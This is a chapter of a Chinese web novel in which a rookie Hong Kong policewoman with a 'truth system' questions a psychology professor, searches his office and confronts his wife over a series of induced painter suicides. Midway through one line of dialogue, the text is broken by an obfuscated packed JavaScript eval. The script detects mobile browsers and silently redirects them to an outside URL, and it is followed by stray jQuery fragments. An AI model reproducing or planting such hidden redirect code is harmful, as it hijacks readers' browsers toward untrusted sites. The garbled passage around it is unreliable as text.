16. 那些泛黄的书页。

作品:《香江刑侦队来了个女警花

    教授进门以后,放下手里的备课资料,脱下了西装外套,走到热水壶边上沏了茶,丢了些茶叶进去,放到两个人身前。


    “尝尝吧,我老伴买的上品高山湖茶叶,我平时也很少喝这个茶,但是味道还真不错。”


    法医佟晓敏感叹道:“老师,你和师母关系还真不错!”


    付修竹教授笑了笑:“还好,这么多年都过来了。感情不好的话,怎么会走到现在?”


    “那师母呢?”


    “她打麻将去了,再晚一点肯定就回来了。有什么话要问的,你们说吧!”


    佟晓敏看了眼林知夏,两个人提前说好了,这个话还是她先来问更合适,毕竟是教授的学生,如果教授不愿意说,再由林知夏想办法。


    “老师,我们今天查到,您参加过一年前的一场‘丹青画意’绘画名家行业交流会议啊!这个事,上次您没跟我们说过。”


    付修竹教授愣了一下:“‘丹青画意’绘画名家行业会议……”他拍了一下脑门,“哎呀,你们不说,我还真就忘了。我这个职业特殊啊,参加的行业会议,一年得有几十个,大大小小的交流会、座谈会,更是不计其数啊。你们要是不说,我还真想不起来。这么说,你们上次拿来的画作,几个死者就跟那场交流会有关?”


    “对,老师,那场交流会上,您有什么比较难忘的事吗?或者说,您觉得有些异样的情况。”


    教授摆摆手说:“我不是他们绘画名家行业交流会的重点,自然也获取不到什么重要信息。”


    教授不愧是教授,接下来说话都跟打太极似的。法医佟晓敏来回问了他几个问题,教授都避开了,只说他也不清楚,似乎是想和那场交流大会划开界限。


    是他知道些什么,还是凶手根本就是他呀?


    佟晓敏心里也七上八下的,看着眼前的老师,只觉得让她都有些不敢认了。


    这时候,林知夏从那提袋子当中掏出一副被包装好、装裱精美的画。


    那幅画是一幅雾凇图,画得格外逼真,让人有种身临其境之感,叫人想起曾经家乡的大雪,银装素裹之下过年的喜庆,那是教授出生的地方,看到这幅画自然有所动容。


    教授伸手接过这幅《冬日雾凇图》,抚摸着装裱好的画框。


    林知夏看得出他满心满眼的喜爱。


    因为这幅画正是当初那个画作交流会议上其中一名笔名“阿酸”的画家所画,那时教授就有意要买下这幅画,可被画家“阿酸”拒绝了,说现在还没有出售之意,即便出售,到时候也要拍卖,教授不一定能得到。


    这件事在教授心里一直是个遗憾,而林知夏正是用了半天时间去找了画家“阿酸”,表明身份后,从那个画家手里暂借出了这幅画。


    当然,林知夏是没有钱把它买下来的。


    “这幅画,阿酸他愿意卖啊?”教授连忙问。


    林知夏说:“是啊,我知道教授您喜欢这幅画,所以特意向他说明您对这幅画的喜爱,画家终于答应了,不过价格嘛,还有你们两个再行商谈。”


    “没问题,只要他肯卖就行!”


    下个瞬间,教授脑袋顶上就出现了悬浮的进度条,好感度不断提升,终于,很快就爆表了。


    林知夏有意识地引导他:“在那场交流大会当中,教授您扮演的旁观者角色,具体都做了哪些事?”


    教授突然抬起头,目光炯炯,吐露出一句真话:“我和到场的每一个画家都有单独闭门的交流。之所以要参加那场交流大会,是因为我正在进行一个秘密课题的研究,有关画家的心理特征和画作之间联系的研究,他们是我的受访者,我有证据的,我和他们交流的全部内容都录了音的。”


    话音刚落,教授立刻意识到,天呐,自己说了什么?


    他闭了下眼睛,难道是被眼前这小女孩用一幅画给收买了吗?


    可不对呀,这画还没到他手里,只是画家同意卖,没有真正洽谈好呢。


    这份小小的好处原本是不至于让他把这件事说出来的。


    毕竟他的研究还没有结束,他的这个课题是要向所有人保密的,被人知道了,尤其是警方,经由媒体传播出去后,他的研究出来后怎么能轰动心理学研究行业呢?


    教授懊恼极了,喝了两小口水来掩饰自己内心的慌乱。


    法医佟晓敏则用佩服的目光看着林知夏,没想到她还真有办法,用一幅老师喜欢的画作就能套出真话来,当然,她不知道这里头还有真话系统的事。


    林知夏问:“那教授,您所说的录音,警方可以拿走吗?”


    既然话已经出口,教授只能点点头:“我给你找找啊!”


    他进了书房,从柜子里掏出两支录音笔,放在林知夏和法医佟晓敏面前。


    “但是我要请求你们,这件事一定要保密,我的这个课题还在进展中,尚没有发表,我不想说这件事也是这个原因。课题研究嘛,属于智力类的资料,我的这里一旦被泄露出去,那么我这一两年的工作就都白费了,尤其是不要让任何媒体接触到这个录音里面的内容。”


    林知夏接过,将录音笔放进包里,点点头:“放心吧教授,多谢您的支持,我们一定不会把这些信息泄露出去。”


    法医连连点头:“放心吧,老师,我也可以向您保证。”


    拿走了录音笔,林知夏和法医佟晓敏出了教授的门,终于松了口气。


    不过很快,法医开始有些心慌:“这里面不会就有我老师犯罪的证据吧?”


    林知夏沉默片刻说道:“如果他隐瞒证据,真的只是为了自己课题研究资料保密,倒是能说得通,这样的话,他的嫌疑就有所减轻了。”


    法医点点头:“我就说嘛,我跟着老师学过一段时间的心理学,虽然不是主修课,但老师什么样我还是清楚的,他从来都待人很好,对师母也是,肯定做不出诱导人自杀,这么丧尽天良的事。”


    林知夏沉吟道:“回去听听录音笔里的内容,或许能有新的判断。”


    回9号花园的路上,林知夏已经饿到不行,她晚上为了去找教授,匆匆吃了两口饭,到这会儿饿得不行。


    还好有家大排档开着,一个人点了一份烤鱼和一份嗦汁小海鲜,又点了杯橙汁,有吃有喝。


    吹着夜间的凉风,觉得惬意不少。


    这大排档到了晚上就热闹了起来,灯火通明,来这儿吃饭的不少人都是附近的住户。


    当然,还有一些街溜子,满身都是黑色的纹身,纹龙纹虎,还有纹那种中二字词的都有,光着膀子喝着啤酒。


    只是,喝着喝着就容易眼红,旁边两桌居然因为服务员上错了菜,彼此殴斗起来。


    这么小一点的事,都至于大动干戈,林知夏表示这些人真是喝酒上了头,一点就炸呀!


    不过那两伙人居然还没停下来,甚至越打越厉害,其中一桌突然拎起酒瓶,径直朝旁边一个男人脑袋上扔过去,还有人抄起了板凳。


    林知夏暗叹,吃个饭也不踏实,不过她还是暂时放下吃了一半的烤鱼,快速上前,一踢一踹,手中的筷子朝向砸酒瓶那个人掷去。


    “砰”的一声,那人被硬生生地东西擦过了腰肌,顿时觉得火辣辣一阵疼。


    他掀开衣服,居然被筷子擦出一道红印。


    哇,这是怎么样恐怖的利器啊!


    他四处寻找着究竟是谁捣乱,却看到一个身形瘦小的女孩子居然把他兄弟撂倒在地,紧接着朝他看了过来。


    刚才拿酒瓶的男人顿时气不打一处来:“就你小丫头片子,还来管我们的闲事,真扫兴!”


    “哎呀,我的鱼还没吃完呢。”


    林知夏感叹了一句,空手夺过他的酒瓶,往旁边一扔,使劲用肘顶向男人的胸膛,那男人就“扑通”一声向后倒去。


    这下不光是腰肌受伤了,整个人也撑在地面上半天起不来。


    “怎么回事,她这力气也太吓人了!”


    林知夏走到他们中间,直接亮出了警官证:“不要再打了,我是西九龙重案组的,不怕的话,我就叫同事来哦,看看你们今天还能不能回得了家?”


    那几个人喝得迷三道四的,眼睛都有些睁不开了,可是一听西九龙重案组的称号,酒都醒了。


    “你、你是警官啊,这真没看出来。”


    “什么没看出来?虎子别乱说话,警官,是我们眼瞎,前几年,您可千万别跟我们一般见识,我们就是垃圾,不要把我们押到重案组去啊!”


    林知夏拍拍手:“吃你们的饭吧,那一桌子菜都让你们给掀翻了,多浪费啊。”


    她坐回位置,在旁人震惊的目光中,默默地吃掉了最后几只梭子小海鲜和那半条鱼。


    吃饱喝足后,回到了9号花园。


    第二天前往重案组,她将录音交给冯智临。


    录音笔里的内容还真不少,教授事无巨细地将所有画家进入和离开房间的时段录了下来,因此有的人在他房间待五六个小时,也能录五六个小时之多。


    内容太丰富了,冯智临只能分给不同的技术人员和警官听取录音中的内容,看看能不能从中找到一些蛛丝马迹。


    警方将这些录音笔中的内容,足足听了一天一夜的时间,都没有发现异常,的确只是一些简单的交流聊天。


    当然,为了完成自己有关画家的心理特征和画作之间联系的研究的课题,教授也对受访者问出了一些专业问题,不过这些问题基本都是学术方面,不涉及对人心理的影响。


    对此,冯智临还特意找了一些心理学方面的专家,将这些问题做了脱敏之后,询问他们,对方表明这是正常提问,没有什么特殊,不会造成任何心理扭曲的情况。


    这就更叫人纳闷了。


    好在,“丹青画意”绘画名家行业大会主办方的尹罗丝回家及时找到活动现场的录像,也给警方送了来。


    活动现场有2台记录的摄像机,在会场最远端,几乎覆盖了所有的角落,能看到其中出现的人。


    林知夏站在技术人员身后,也看了一个上午的时间。


    活动现场有不少画家都在陆续上台发言。轮到付修竹教授的时候,也都是一如往常,他也很直接地表明,自己来做一个课题,希望大家能够配合,占用大家时间不多。


    他的演讲时间不长,只有十分钟左右,其中还提到,他将要成为香江警署总局长期外聘的心理学专家,可能通过心理描绘和画师配合,共同指出嫌犯特征。


    所以他来这里也是为了更加了解画家笔下的作品,这一点当初问教授没有提。


    林知夏想,果然,真话系统一次性不一定能透露出所有的真话。


    看来在教授那里,他还有着较为强烈的克制,导致后续的真话并没有完全说出口,而是及时意识到不对,刹住了车。


    不过,好在通过这些视频证据,也能够补全他所说的话以外的内容。


    突然,林知夏在镜头中看到一个人,冯智临也一直远远地盯着看,两人几乎同时:“这个不就是张扎荫吗?”


    果然,张扎荫也在活动现场!


    这下,这场会议还真就集齐了三个被害人。


    不过问题就来了,教授的录音录像都听了,录音时在封闭空间,他自己锁住酒店房间录的,除非他有所隐瞒一些非关于课题方面的谈话,并没有被录制上,否则很难将他和嫌疑人联系起来。


    几个警员之间也讨论起来。


    “如果不是付修竹,就没有别人了,他自己的梦魇植入课题,他肯定自己更了解,又有谁能像他一样织梦并引入别人的记忆呢?他提出理论之后,如果自己办不到,其他人就更不行了。”


    “但你不觉得,所有证据都指向他,太轻易了吗?”


    “付修竹是活动现场唯一的心理学家,而且他既是搞心理学的,又和三名被害者同时有所接触,如果嫌疑人不是他,还能有什么人?”


    “我只是猜测,有没有这种可能啊?有的画家本身就是一名心理学爱好者,那么在场的除了教授之外,他不也可以对其他人产生影响吗?或许那个人接触到教授之后,还额外地会获取一些有关梦魇的信息,强化了之前所秉持的信念,并在活动现场对同行们施加影响。”


    “不,不会是活动现场,这里只是一个契机,他们之间相识心里的施加过程不是一朝一夕的。这场交流大会结束之后,凶手必然和不同的画家都保持有联系,因为张扎荫也在,虽然他是混进去的,但在场的凶手并不知晓,所以也同样把它作为了用梦魇驯化的对象。”


    冯智临在旁边听了会儿,说得各有道理,但证据不足。


    现在当务之急是保证不再有人受害,因为是被教唆的自杀的情况,也许凶手对于画家的影响已经施加了,就等待他们某天自行作画的时候突然梦魇发作,导致疯魔的自残自杀。


    冯智临连忙交代下去:“参加会议的七十多名画家必须得找到联系方式,找到他们本人还不够,还要告诉他们家人这段时间防止他们独自外出作画,最好有人陪同。如果画家有异常要及时向我们报告,以防止再有自杀这出现。”


    警员们接受命令后,连忙去执行了。


    林知夏和冯智临则继续站在技术人员电脑前观看接下来的录像。


    忽然间,屏幕里远远的一个人影相当眼熟,看到那人的瞬间,林知夏心里电光火石,突然想到了些什么。


    不过冯智临由于没见过那个人,反应当然不如她那般敏感。


    林知夏立刻向冯智临请示:“沙展,我要和晓敏姐去个地方。”


    冯智临点头。


    很快,法医佟晓敏带着林知夏去往教授上课的学校,它所在的香江阿罗斯加大学,是世界排名前两百名的学校。


    进入校园,林知夏就被精致又国际化的门头所震惊,在这个年代,校园能建设成这个样子,真的相当好了,不愧是名校。


    尤其是远处的音乐教室,仿欧式的设计,一个教室前巨大的玻璃幕墙,能看到里面的红皮沙发、做旧的地毯、仿古做旧的台灯、留声机和一架价值不菲的钢琴,真有种高雅的复古气质。


    校区内花园的设计也相当惊喜,树木做了特殊形状的修剪,步行道从湖塘上方以莲叶形式越过,也很有创意,一眼望过去,审美真是极好的,在这种环境下,无论散步、读书,还是谈恋爱,都显得够有格调。


    法医佟晓敏向林知夏介绍说:“我在这所学校旁听过教授的课,不过我是在警校念的法医学,我学校离这儿很近,当时骑车十分钟就到了,听说教授的课受欢迎,上课内容很扎实,我就过来旁听,除了旁听他的课,还听过法学相关的内容,学的比较杂。不过老师还一直记得我,后来我工作了,和他一直有联系,节假日如果他方便的话,我就会去看他,我那时候对心理学很感兴趣,动不动就喜欢分析人的心理,我同学都被我分析了一遍,现在想想好幼稚,很多看了都并不准,只当是玩儿票吧!”


    林知夏笑着点头,跟随她一起上了楼。


    “我平时上课呢,就在这栋楼B区的3号,办公室也在这边,不过教室是不固定的,有时候教室有变化,会临时通知,这个时间教授应该在上课,你现在要去教室找他吗?”


    林知夏摇摇头说:“不,刚好他不在办公室,我想去他办公室看一看。”


    法医佟晓敏说:“小夏,咱们来这儿不是要问他一些问题吗?”


    林知夏回答:“他大概也不会多说了,教授办公室在哪?”


    “前面拐个角就是。”


    法医佟晓敏带着林知夏进了办公室,里面还有另外一名老师。


    之前佟晓敏来看教授的时候进过这间办公室,所以对方认出她来了。


    随后那个老师拎着水杯出门去了,他还有学生会的一个摄影活动要参与,现在办公室里只留下林知夏和法医两个人。


    法医佟晓敏说:“这几只抽屉应该都是上了锁的,你需要的话,我找教授用钥匙打开。”


    林知夏想了想说:“暂时不用。”


    佟晓敏也帮着一起翻看桌上的资料,付修竹教授还真是相当热爱本学科,和一般的教师相比,他桌上的有关心理学书籍、杂志、各种打印出来论文资料太多了,比如《心理学周刊》《变态心理学》《书海心理》堆成一座座小山,坐进去都能完全挡住视线。


    而且所有的教材杂志翻开来,里面的标注多到离谱,红黄蓝绿的色泽,各种圈圈画画的。


    即便旁边摆着老花眼镜,看东西已经不方便,但是每天仍然有这么多书要看,这么多资料要处理,学生论文也厚厚一摞,他自行上手在上面进行修改、批注非常认真且扎实,直指问题的核心。


    法医佟晓敏翻看了一些,就不由自主地道:“老师很热爱自己的这份工作。”


    林知夏点点头。


    看完了资料,她又回身去看书柜里,摆放了一排排著作,这里面的书籍要更杂一些,不只是心理学类的,还涉及部分管理学、财务类,不过相比之下,那些书籍则显得干净许多,没有被反复翻阅过的痕迹。


    林知夏问法医佟晓敏:“你有没有发现,这些书架里的书和教授家中的书有一部分是重复的?”


    那天林知夏在佟晓敏和教授聊天时,去洗手间的路上,抓紧时间在房间里大致扫了一遍,毕竟是佟晓敏的老师,直接翻阅不大合适,所以她就大面上扫了一眼,但是把书柜里的书籍名字记住了一些。


    法医佟晓敏想了很久,点点头:“怎么?你觉得这些书有问题?难不成真是老师犯下的案子?”


    林知夏沉默不语,片刻后,说道:“晓敏姐,咱们打道回府吧!闫子豪正在搜集大量有关三名被害者的信息,我需要他帮我一下,这件案子我有了新的怀疑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351406|182315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对象,我们距离真相应该不远了。”


    这天下午,林知夏回到重案组,和闫子豪对接了些什么,随后,闫子豪将他整理的一大摞标记过的资料拿出来交给林知夏。


    林知夏翻了很久,确定了几个对象:“我能跟你再跑一趟,走访一下三名被害者的身边人吗?”


    闫子豪说:“好啊!”


    “之前漫无目的的走访,很可能受访者也忽视了那个从来都隐在人身后的人,而现在有了目标对象,或许我们在询问中能套出不同的信息。”


    闫子豪一听林知夏大概有了线索,也精神抖擞起来,和林知夏从城东跑到城西,挨个的联系人,逐一问过去。


    到了卢文蕴画室访问他助理力哥的时候,对方先是一愣:“警官,上次你们不是都问过了吗?”


    林知夏说:“这回不一样,我们有了新的怀疑对象。”


    她手中印着一张已经打好的照片,直接推放在桌面上,询问:“这个人你在画室有没有见到过?或者画室之外和卢文蕴有过任何的接触?”


    力哥看见那张面孔,竟然没想起是谁来,因为那人的装扮永远那样朴素,像影子一样,是很难被人发现的存在。


    等林知夏说出对方的身份,力哥才点点头,恍然大悟:“哦!我有印象了,老板在汤澈花园作画的时候,我见到过那人一面!”


    范黄黎那边,询问了他正处于悲伤中的父亲范烁山。


    范烁山在听到林知夏提及的人物时,摇了摇头:“我不知道他们私下见没见过,但是我家里有个东西,我想正是你所说的那个人相赠,我不知道这能不能证明些什么?”


    范烁山进入卧室,从一只抽屉里拿出一本书。


    那是一本世界名著《雾都孤儿》,蓝色装裱精致的硬皮封面,烫金材质,看上去价值不菲,单本竟有200港币。


    “呐,这封皮上还写着一句话呢!”


    走访了一大圈,林知夏心头的笃定感越来越强烈。


    闫子豪跟着她走访,目光中也对她带了几分欣赏:“看来,你怀疑这个人是有根据的。”


    林知夏却想,不,她还要让那人亲口承认,现在的证据都不足够直接,只是一些目击的画面,零零散散的,构不成确定的嫌疑。


    “我们现在回重案组,找沙展说明情况?”


    林知夏想了想,摇头:“不急,那个人应该还没回家呢,等对方回家了,我们再去。现在还有时间,我们可以在外面先吃晚饭。”


    “好啊。”闫子豪笑了笑,“你想吃什么?我请客。”


    林知夏说:“不用啦。”


    “那哪行,其实我一直想找个机会请你,你是新人,我作为前辈多照顾点儿是应该的,就当是提前为你转正庆祝了。”


    “我真的能转正?”


    “你表现这么优秀,当然可以。”


    闫子豪上车,驱车带林知夏到一个名为瑞琴之都小区旁的小巷。


    “这地方有家不错的花鸡铁板烧,有回我抓犯人的时候,路过这儿,闻到这味道,香的勾人!我还头一次抓捕犯人的时候分心呢。后来成功把人捕获以后,我来这条小巷吃过一次,那味道简直绝妙。这家的老板很年轻,才26岁,没有家族传承,但是有私密配方,铁板烧的秘制酱汁咸香鲜辣,酱汁浓郁,你尝了就知道!”


    听闫子豪这么描述,林知夏也馋得直咽口水。


    下了车,走进那条两旁种植着紫藤树的小巷,虽窄,只能通过一辆单行道的车,但树木郁郁葱葱,紫藤开花曼妙,自上而下遮住了阳光,倒是有几分凉爽。


    店门很小,不过还没到晚饭的时间,店外就排了长长的队伍。


    门口有一些露天的桌椅,桌椅是塑料的,粉红色的劣质凳子,但是人们吃铁板烧的热情不减。


    每个人桌前的盘子里都摆着一二十个铁板烧串,烤物种类应有尽有,越走近越香气扑鼻,真是叫人难以抵挡。


    闫子豪走上前,将所有的铁板烧的种类挨个点了一遍,要了双份。


    林知夏等了很久,终于有一张桌子空了出来,她连忙坐下。


    很快,闫子豪将托盘里的铁板烧端过来,还给她带了一瓶汽水:“蜜瓜味的汽水和橙子味的,你选一个。”


    林知夏选择蜜瓜味汽水,这种口味还真没喝过。


    汽水是常温的,一口喝下去,就仿佛有一块新鲜的蜜瓜在口腔内迸开,香甜的滋味让林知夏不禁感慨:“好喝诶!”


    年轻店主系着围裙,门头有花鸡铁板烧字样,他不停地在一块黑色铁板上用铲子烤制着手里的食材,每样都滋滋冒着油,烤到焦香的状态,将它们涂抹酱料盛盘。


    店主还真有几分帅气,即便戴着口罩,但也能看得出双眼皮很好看。


    不过他的手完全没有停歇,这一会儿功夫都已经出了好几盘的铁板烧了。


    林知夏不由感叹:“在这站一天,也挺辛苦。”


    “是啊,不过对他而言,辛苦也值得,生意爆火,能赚到钱!”


    林知夏拿起一只大鱿鱼,鱿鱼的每一只爪都裹满了酱料,橙黄色的酱料看着就有些辛辣,但是应该很过瘾。


    她咬下一口,复合的调味瞬间侵入口腔:“哇,真好吃啊!”


    林知夏吃下的分量丝毫不逊于闫子豪,直接把一整个托盘内所有的烤物都吃完了。


    眼看着天色逐渐暗下来,闫子豪说:“时间差不多了,咱们可以回去了。”


    跟随闫子豪回到重案组,冯智临刚忙完一个跨部门的交通肇事案,疑似司机预谋杀人,分散了些精力。


    等结完案回来,听说林知夏这边有突破,眼前一亮:“很好,那就如你所说,等到晚上9点,我们出发。”


    快到9点时,冯智临下楼,林知夏、刘美飒跟他一起坐进车里。


    林知夏心跳“砰砰”,今晚一定要将真凶缉拿归案。


    冯智临的越野车朝向锦瑟小区方向驶去。


    车辆抵达小区门口,林知夏上楼恰好看到席美霖,穿着一件淡蓝色的短袖,一条朴素到不能再朴素的绿色裤子,但是裤子因为长期的磨损掉色,现在已经发白。


    她把头发微微挽起,额前有两缕掉下来,脸上的沧桑在此刻尽显,毕竟是个年过半百的女人。


    她不愿再做过多的打扮,一切从简,但只有她走路时微微绷紧的姿态、收束的双手和稍稍昂起的头颅能看得出,席美霖曾经是有追求的,为此严于律己。


    而所谓的打麻将,不过是她用来麻醉自己的行为,刻意让自己变得松弛,实则她本不是这样的人。


    “你们怎么来了?”


    席美霖提起一口气,露出笑脸,对眼前的景象有些惊讶,目光中却暗含着一抹不易被人察觉的期待。


    林知夏说:“师母,我们来看看你!”


    “看我干什么?我都退休了,不像付教授他,事业蒸蒸日上,整天还有许多事做,我就只能打打麻将,过过自己的手瘾,前些日子还跟我前同事说要一起出去旅游呢,马尔代夫怎么样?你们小年轻去过没有啊?据说那里的海像果冻一样透亮碧蓝,我真的好想去看一看啊!”


    林知夏保持着脸上的笑意,心里却明白,席美霖对这些根本没有兴趣。


    门开了,席美霖带着林知夏进去,冯智临等人也紧随其后。


    “哎呦,今天怎么来了这么多警官啊?”


    席美霖还是笑盈盈的,打算去厨房洗些水果,倒些茶过来。


    林知夏却说:“不用了,老师,付教授今天不在,是我们特意拖住了他,因为有些事或许暂时不适合他听。”


    席美霖打算去往厨房的脚步微微一顿,转过身来,仍然保持着较好的姿态:“警官,你们说什么,我怎么听不懂啊?”


    旁边就是书房,林知夏从转角进入,拿出一些被翻烂了的心理学书册来:“席美霖老师,你要不要看一看这些书籍,为什么被翻得页面泛黄?其中虽然没有做笔记,但是这阅读的方式和付教授是截然不同的。教授喜欢在书页上涂涂画画,看书的时候必会如此,比如这本西斯蒙心理学家的经典著作《飞向你的心海》,他用红色来做批注,而同样的一本书,在你这里,却只是翻到泛黄,没有任何涂画的痕迹。不过,你仍然是在研究付教授的这些心理学著作吧,翻看得多了,书籍页面染旧的痕迹会出卖你。”


    “这能说明什么?你们这不是牵强附会吗?”


    林知夏摇摇头说:“当然不是,付修竹教授的书为什么会有两份?同样的书籍,他在学校批注过了,比如家中的这些《心理模拟》《从弗洛伊德讲开来》,是你买来阅读,并用于学习他的那些实践未能成功的理论。”


    席美霖一听这话,忍不住摇摇头,笑了起来:“哈哈哈,小夏,这太可笑了,只是一些猜测而已,我想你们抓罪犯不会用这些捕风捉影的证据吧?”